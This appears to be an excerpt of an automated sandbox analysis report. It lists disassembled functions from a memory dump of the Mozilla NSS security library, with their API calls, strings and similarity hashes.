Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction ID: d379895d0dae34bc2950ab6e3b32e4948089d03bfc30eeb8eb6a2cb376b6521e
Opcode Fuzzy Hash: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction Fuzzy Hash: FF919DB56013418FDB60DF39C80976A7BF5BB0A708F00453AE59AD6A41DBB49409CFDA

Function 6C819C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C819C70
PR_NewLock.NSS3 ref: 6C819C85

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000), ref: 6C819C96

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewLock.NSS3 ref: 6C819CA9

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3 ref: 6C819CB9
PR_NewLock.NSS3 ref: 6C819CC9
PR_NewCondVar.NSS3(00000000), ref: 6C819CDA

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(?), ref: 6C819CF0
PR_NewPollableEvent.NSS3 ref: 6C819D03

Part of subcall function 6C80F3B0: PR_CallOnce.NSS3(6C8614B0,6C80F510), ref: 6C80F3E6
Part of subcall function 6C80F3B0: PR_CreateIOLayerStub.NSS3(6C86006C), ref: 6C80F402
Part of subcall function 6C80F3B0: PR_Malloc.NSS3(00000004), ref: 6C80F416
Part of subcall function 6C80F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C80F42D
Part of subcall function 6C80F3B0: PR_SetSocketOption.NSS3(?), ref: 6C80F455
Part of subcall function 6C80F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C80F473

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C819D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DAF
_PR_CreateThread.NSS3(00000000,6C819EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819D9F

Part of subcall function 6C6EB3C0: TlsGetValue.KERNEL32 ref: 6C6EB403
Part of subcall function 6C6EB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C6EB459

_PR_CreateThread.NSS3(00000000,6C81A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DFC
_PR_CreateThread.NSS3(00000000,6C81A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C819E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C819E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C819E89

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction ID: ba5b044850280a87e7dda3fa3a53f09646c648dc99f07f85fc15ae71081e18d9
Opcode Fuzzy Hash: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction Fuzzy Hash: 92613DB1A00706AFD725DF75D944AA7BBE8FF49208B04493AE819C7B11EB70E414CBE5

Function 6C713FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C714014

Part of subcall function 6C7139F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F,?), ref: 6C713A08
Part of subcall function 6C7139F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F), ref: 6C713A1C
Part of subcall function 6C7139F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C713A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C714038

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C71404D

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A0F4), ref: 6C7140C2

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C71409A

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7140DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7140F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C714108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C71411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C714137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C714150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C82A1C8), ref: 6C71417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C714194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7141A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7141B2
PK11_DestroyObject.NSS3(?,?), ref: 6C7141D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7141FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A1A8), ref: 6C71422D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction ID: 96e35211ea2b11838fff618d2883f95f580be0ac52fb61632a4f717b8a77ae96
Opcode Fuzzy Hash: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction Fuzzy Hash: 015118B1B043006BF7109A269E49BA776DCDF5039CF584528ED59C7F82FB31E514A2A2

Function 6C758E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E9E
PORT_ArenaAlloc_Util.NSS3(6C860B64,00000001,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C758E01), ref: 6C758EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C860B64,6C860B64), ref: 6C758F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C758F3F

Part of subcall function 6C75A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C75A421,00000000,00000000,6C759826), ref: 6C75A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C758E76

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction ID: e1d5254456f7f16cf5895706498c30e545d80b436dfe45e35d66cd15bc4f1a4c
Opcode Fuzzy Hash: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction Fuzzy Hash: 1461A6B5D00106ABDB10CF55CE44AAFB7B5FF94358F544938DC18A7B40EB32A926CBA0

Function 6C708E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C708E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C708E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C708EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8318D0,?), ref: 6C708F03
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C708F19
PL_FreeArenaPool.NSS3(?), ref: 6C708F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C708F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C708F65
PL_FinishArenaPool.NSS3(?), ref: 6C708FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C708FFE
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C709012
PL_FreeArenaPool.NSS3(?), ref: 6C709024
PL_FinishArenaPool.NSS3(?), ref: 6C70902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C70903E

Strings

security, xrefs: 6C708EE7

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction ID: 562ca26fb7c9e701977749544f1eb08b9e3a14d1a1435ab3b96460ec80cdf9d8
Opcode Fuzzy Hash: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction Fuzzy Hash: 615146F1708200ABD7109A699F49BAB77ECAB8575CF44093AF85497F80E771E908C793

Function 6C734E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C734E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734EC7

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C734F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C734F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C734F68

Strings

ulCount = %d, xrefs: 6C734F63
C_GetAttributeValue, xrefs: 6C734E7E
hObject = 0x%x, xrefs: 6C734EF5, 6C734F05
pTemplate = 0x%p, xrefs: 6C734F4A
hSession = 0x%x, xrefs: 6C734EA2, 6C734EB2
(CK_INVALID_HANDLE), xrefs: 6C734EC0, 6C734F13

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction ID: 8b7c2e48209d0c083958b9f24e6e5ee11d92b6ed1b85805346d2527d7845706b
Opcode Fuzzy Hash: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction Fuzzy Hash: 5A410331606025AFDB218B14DF4CFAA3BB9AB4230DF086434F4095BB52C739A948DBD6

Function 6C734CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C734CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D37

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C734DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C734DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C734E20

Strings

pulSize = 0x%p, xrefs: 6C734DB7
hObject = 0x%x, xrefs: 6C734D65, 6C734D75
*pulSize = 0x%x, xrefs: 6C734E1B
C_GetObjectSize, xrefs: 6C734CEE
hSession = 0x%x, xrefs: 6C734D12, 6C734D22
(CK_INVALID_HANDLE), xrefs: 6C734D30, 6C734D83

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction ID: 1b14b7ff3a4f52b0f8035fb2255722c78a017c5e0421b68d1587f5d9f63e999d
Opcode Fuzzy Hash: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction Fuzzy Hash: 8D412471605124AFD7218B14DF8DF7A3BB9AB4230DF046874E50D5BB12D739A848DBD2

Function 6C737C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C737CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737CF3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C737D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C737D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737D77

Strings

pSignature = 0x%p, xrefs: 6C737D59
C_Verify, xrefs: 6C737CB1
pData = 0x%p, xrefs: 6C737D25
ulDataLen = %d, xrefs: 6C737D40
hSession = 0x%x, xrefs: 6C737CCE, 6C737CDE
ulSignatureLen = %d, xrefs: 6C737D72
(CK_INVALID_HANDLE), xrefs: 6C737CEC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction ID: 2a376e4abddbf549571a27d1fe7f2f61e4194feec7547da5ed4ac5db6613d96a
Opcode Fuzzy Hash: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction Fuzzy Hash: E331DF31602155EBDB218F25DF4DE7A37F5AB4220CF086474E40D5BB12DB38A848CBE2

Function 6C732F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C732F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732F63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C732F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C732F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C732FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C732FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C732FE7

Strings

ulNewLen = %d, xrefs: 6C732FE2
pOldPin = 0x%p, xrefs: 6C732F95
ulOldLen = %d, xrefs: 6C732FB0
C_SetPIN, xrefs: 6C732F21
pNewPin = 0x%p, xrefs: 6C732FC9
hSession = 0x%x, xrefs: 6C732F3E, 6C732F4E
(CK_INVALID_HANDLE), xrefs: 6C732F5C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction ID: 3d9fde8af60f6fef0027ea6b4a1b179a96ab9337a8fab14be9c2af41998cd2fd
Opcode Fuzzy Hash: 5c3fbdb233c94a5af064ca01f116b974a71e8fe9e4308542273215097e78d4ac
Instruction Fuzzy Hash: 3A31F431605165ABDB219B55CF4CE6A37B6AB4634DF046474F80CABB13DB38A848CBD1

Function 6C7CCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A

Part of subcall function 6C7CCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C73C1A8,?), ref: 6C7CCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E

Part of subcall function 6C6F05C0: PR_EnterMonitor.NSS3 ref: 6C6F05D1
Part of subcall function 6C6F05C0: PR_ExitMonitor.NSS3 ref: 6C6F05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C7CCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C7CCE48

Strings

getnameinfo, xrefs: 6C7CCDB2, 6C7CCE23
wship6.dll, xrefs: 6C7CCDE3
getaddrinfo, xrefs: 6C7CCD88, 6C7CCDF9
ws2_32.dll, xrefs: 6C7CCD75
freeaddrinfo, xrefs: 6C7CCD9F, 6C7CCE10

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
